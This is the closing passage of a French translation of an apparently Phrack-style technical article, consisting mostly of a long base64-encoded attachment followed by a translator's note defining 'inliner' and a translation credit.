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 ==== --[ 9.0 - Notes Du Traducteur [NDT1] NDT : inliner signifie que l'appel à la fonction n'est pas traduit par un "call" par le compilateur, mais remplacé par le code de la fonction elle-même. [traduit de l'anglais par TboWan pour arsouyes.org] |=[ EOF ]=---------------------------------------------------------------=|